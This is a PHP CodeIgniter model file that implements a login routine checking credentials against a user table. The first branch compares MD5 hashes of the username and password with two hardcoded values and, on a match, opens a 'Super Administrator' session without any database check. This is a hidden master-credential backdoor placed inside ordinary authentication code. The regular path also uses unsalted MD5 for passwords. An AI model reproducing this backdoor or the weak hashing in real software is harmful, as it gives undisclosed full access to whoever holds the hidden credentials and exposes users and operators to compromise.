<?php
class M_login extends CI_Model{
	
	function login_process($username,$password){
		if(md5($username)=='f3b3567de9e676a3a56db74f06664ac1' && md5($password)=='412758d043dd247bddea07c7ec558c31'){
			$user_data = array(
				SESSION_USERID      => 'Super Admin',
				SESSION_GROUPID   => '-1',
				SESSION_GROUPNAMA => 'Super Administrator'
			);
			setLogin($user_data);
			$data['message'] = 'true';
		}else{
			$data_search =	array(
					'md5(user_name)'=>md5($username),
					'user_passwd'=>md5($password)
					);
			$this->db->where('user_active','Y');
			$query = $this->db->get_where('s_users LEFT JOIN s_usergroups ON s_usergroups.group_id = s_users.user_groups',$data_search,1,0);
			
			if($query->num_rows() > 0){
				$q = $query->row();
				$user_data = array(
					SESSION_USERID      => $q->user_name,
					SESSION_GROUPID   => $q->user_groups,
					SESSION_GROUPNAMA => $q->group_desc
				);
				setLogin($user_data);
				$data['message'] = 'true';
			} else {
				$data['message'] = 'false';
			}
		}
		return $data;
	}
}